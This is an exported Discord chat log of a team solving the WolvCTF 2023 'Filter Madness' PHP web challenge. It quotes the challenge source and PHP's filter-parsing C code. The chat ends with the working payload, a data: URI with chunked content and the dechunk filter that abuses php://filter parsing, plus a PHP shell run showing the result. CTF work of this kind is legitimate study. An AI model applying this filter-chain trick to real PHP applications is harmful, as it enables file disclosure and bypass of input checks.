Guild icon
Project Sekai
🔒 WolvCTF 2023 / ✅-web-filter-madness
Avatar
Filter Madness - 500 points
Category: Web Description: Yet another PHP filter challenge. Filter processing in PHP can sometimes be strange. https://filter-madness-tlejfksioa-ul.a.run.app Files:Tags: SamXML#6151
Sutx pinned a message to this channel. 03/17/2023 1:00 PM
Avatar
@irogir wants to collaborate 🤝
Avatar
@zwx风信 wants to collaborate 🤝
Avatar
Close
Avatar
@Violin wants to collaborate 🤝
Avatar
@strellic wants to collaborate 🤝
Avatar
i dont know php
21:19
this would be really easy if not for the 100 length thing
21:19
L
Avatar
Avatar
zwx风信
Close
what progress did u make
22:00
im not good at php web 😔
Avatar
quit w
00:35
my guess is that you need to do something with phpinfo
00:35
and goal is definitely lfi not rce
00:36
it's definitely not the php char include thing since you only have like 50 chars (edited)
00:36
php moment
Avatar
msfrog php moment
Avatar
@rubiya wants to collaborate 🤝
Avatar
It looks similar to https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d, but it seems impossible to create a 20 byte string with a 100 byte limit using this method
Avatar
@hfz wants to collaborate 🤝
Avatar
wait for hint ig
Avatar
@jayden wants to collaborate 🤝
09:44
Try submitting: apple|frog
09:44
hint
Avatar
This source in php_fopen_wrapper.c is relevant: } else if (!strncasecmp(path, "filter/", 7)) { /* Save time/memory when chain isn't specified */ if (strchr(mode, 'r') || strchr(mode, '+')) { mode_rw |= PHP_STREAM_FILTER_READ; } if (strchr(mode, 'w') || strchr(mode, '+') || strchr(mode, 'a')) { mode_rw |= PHP_STREAM_FILTER_WRITE; } pathdup = estrndup(path + 6, strlen(path + 6)); p = strstr(pathdup, "/resource="); if (!p) { zend_throw_error(NULL, "No URL resource specified"); efree(pathdup); return NULL; } if (!(stream = php_stream_open_wrapper(p + 10, mode, options, opened_path))) { efree(pathdup); return NULL; } *p = '\0'; p = php_strtok_r(pathdup + 1, "/", &token); while (p) { if (!strncasecmp(p, "read=", 5)) { php_stream_apply_filter_list(stream, p + 5, 1, 0); } else if (!strncasecmp(p, "write=", 6)) { php_stream_apply_filter_list(stream, p + 6, 0, 1); } else { php_stream_apply_filter_list(stream, p, mode_rw & PHP_STREAM_FILTER_READ, mode_rw & PHP_STREAM_FILTER_WRITE); } p = php_strtok_r(NULL, "/", &token); } ... static void php_stream_apply_filter_list(php_stream *stream, char *filterlist, int read_chain, int write_chain) /* {{{ */ { char *p, *token = NULL; php_stream_filter *temp_filter; p = php_strtok_r(filterlist, "|", &token); while (p) { php_url_decode(p, strlen(p)); if (read_chain) { if ((temp_filter = php_stream_filter_create(p, NULL, php_stream_is_persistent(stream)))) { php_stream_filter_append(&stream->readfilters, temp_filter); } else { php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)", p); } } (edited)
11:12
hint 2
Avatar
only thing I see so far is that we can url encode filter names
Avatar
putting this here to analyze on my phone msfrog <?php $result = 'no madness submitted yet'; $madness = isset($_GET['madness']) ? $_GET['madness'] : ''; if (strstr($madness, '/')) { die('Sorry, no slashes allowed'); } $file = "php://filter/$madness/resource=/etc/passwd"; if (strlen($file) > 100) { die('Sorry, your madness is too long'); } $result = file_get_contents($file); if ($result === 'zombies for the flag') { $result = file_get_contents('/flag.txt'); } ?> <div>Can you submit some madness that will return the flag?</div> <br/> <div>Your filter madness: <?php echo $file ?></div> <div>Your filter madness length: <?php echo strlen($file) ?></div> <div>Your filter madness results: <?php echo $result ?></div> <br/> <form method='GET'> <input name='madness'></input> <button>Submit</button> </form> <br/> <div>Here's some <a href='/info.php'>info</a>.</div>
Avatar
To summarize, so far we know:
  • the solve will have a pipe symbol in it
  • there is something about the cited code that can be exploited given the chal constraints
14:14
so yeah the 2 hints
Avatar
someone solved with these hints so ig its indeed related with that source code
Avatar
this chall makes me real sad
19:26
the only thing i figured out is u can use data uri but its not really helpful at all
19:26
19:26
this looks funny tho
19:27
no flag since my results is zombies for the flag</resource=/etc/passwd
Avatar
whats ur payload?
Avatar
resource=data:,zombies for the flag<
Avatar
o ok
Avatar
i have not figured out any bugs with pipes
19:29
xd
19:30
i can't read C
Avatar
cant read php
Avatar
think i found something
Avatar
Avatar
sahuang
This source in php_fopen_wrapper.c is relevant: } else if (!strncasecmp(path, "filter/", 7)) { /* Save time/memory when chain isn't specified */ if (strchr(mode, 'r') || strchr(mode, '+')) { mode_rw |= PHP_STREAM_FILTER_READ; } if (strchr(mode, 'w') || strchr(mode, '+') || strchr(mode, 'a')) { mode_rw |= PHP_STREAM_FILTER_WRITE; } pathdup = estrndup(path + 6, strlen(path + 6)); p = strstr(pathdup, "/resource="); if (!p) { zend_throw_error(NULL, "No URL resource specified"); efree(pathdup); return NULL; } if (!(stream = php_stream_open_wrapper(p + 10, mode, options, opened_path))) { efree(pathdup); return NULL; } *p = '\0'; p = php_strtok_r(pathdup + 1, "/", &token); while (p) { if (!strncasecmp(p, "read=", 5)) { php_stream_apply_filter_list(stream, p + 5, 1, 0); } else if (!strncasecmp(p, "write=", 6)) { php_stream_apply_filter_list(stream, p + 6, 0, 1); } else { php_stream_apply_filter_list(stream, p, mode_rw & PHP_STREAM_FILTER_READ, mode_rw & PHP_STREAM_FILTER_WRITE); } p = php_strtok_r(NULL, "/", &token); } ... static void php_stream_apply_filter_list(php_stream *stream, char *filterlist, int read_chain, int write_chain) /* {{{ */ { char *p, *token = NULL; php_stream_filter *temp_filter; p = php_strtok_r(filterlist, "|", &token); while (p) { php_url_decode(p, strlen(p)); if (read_chain) { if ((temp_filter = php_stream_filter_create(p, NULL, php_stream_is_persistent(stream)))) { php_stream_filter_append(&stream->readfilters, temp_filter); } else { php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)", p); } } (edited)
are we meant to find unintended/unusual behaviour from this c code?
Avatar
yeah
19:40
i think i found it
19:40
but i still need to figure out how to expl
Avatar
what is it?
Avatar
resource=data:,aaaa|string.toupper
19:41
this changes the resource to
19:41
data:,aaaa|string.toupper/resource=/etc/passwd
19:41
so the string at the end becomes aaaa|string.toupper/resource=/etc/passwd
19:41
but at the same time it applies the string.toupper filter
19:41
so it becomes AAAA|STRING.TOUPPER/RESOURCE=/ETC/PASSWD
19:41
so now the goal is something like
19:41
data:,zombies for the flag|some consuming filter/resource=/etc/passwd
19:42
to hopefully consume everything besides the zombies part
Avatar
the filter is applied to the whole string?
Avatar
yeah
Avatar
Avatar
strellic
Click to see attachment 🖼️
its very obvious from this pic
19:42
you can see the warning that its trying literally the whole string including /etc/passwd part as filters
Avatar
Avatar
strellic
used /ctf solve
✅ Challenge solved.
Avatar
msfrog whats the filter
19:57
very cool chall
19:58
basically, data uri with contents
19:58
14 zombies for the flag 0 (edited)
19:58
(theres some missing crlf stuff)
19:58
that is chunked encoding
19:58
so the garbage after that gets discarded when using the dechunk filter
19:58
i was actually close with the data uri stuff yesterday huh
19:58
i should have just opened my eyes
Avatar
where is flag stored on server? like how does dechunk able to read the flag
Avatar
if the result of file_get_contents on the url === "zombies for the flag"
19:59
it just gives you the flag
20:00
ah ok so the last part was cut so only zombies... remain
Avatar
php > var_dump(file_get_contents("php://filter/resource=data:,14\r\nzombies for the flag\r\n0\r\n|dechunk/resource=/etc/passwd")); PHP Warning: file_get_contents(): Unable to locate filter "resource=data:,14 zombies for the flag 0 " in php shell code on line 1 PHP Warning: file_get_contents(): Unable to create filter (resource=data:,14 zombies for the flag 0 ) in php shell code on line 1 PHP Warning: file_get_contents(): Unable to locate filter "resource=" in php shell code on line 1 PHP Warning: file_get_contents(): Unable to create filter (resource=) in php shell code on line 1 PHP Warning: file_get_contents(): Unable to locate filter "etc" in php shell code on line 1 PHP Warning: file_get_contents(): Unable to create filter (etc) in php shell code on line 1 PHP Warning: file_get_contents(): Unable to locate filter "passwd" in php shell code on line 1 PHP Warning: file_get_contents(): Unable to create filter (passwd) in php shell code on line 1 string(20) "zombies for the flag"
20:00
very msfrog challenge
Avatar
damn interesting one
20:04
no wonder bwjy always says php is "fun"
20:04
"fun"
20:04
source reading moment
Avatar
he had a 0day php chall on sekaictf but we denied it cuz its too wild 💀
Avatar
lmaooo
Avatar
Strellic way too good
Exported 93 message(s)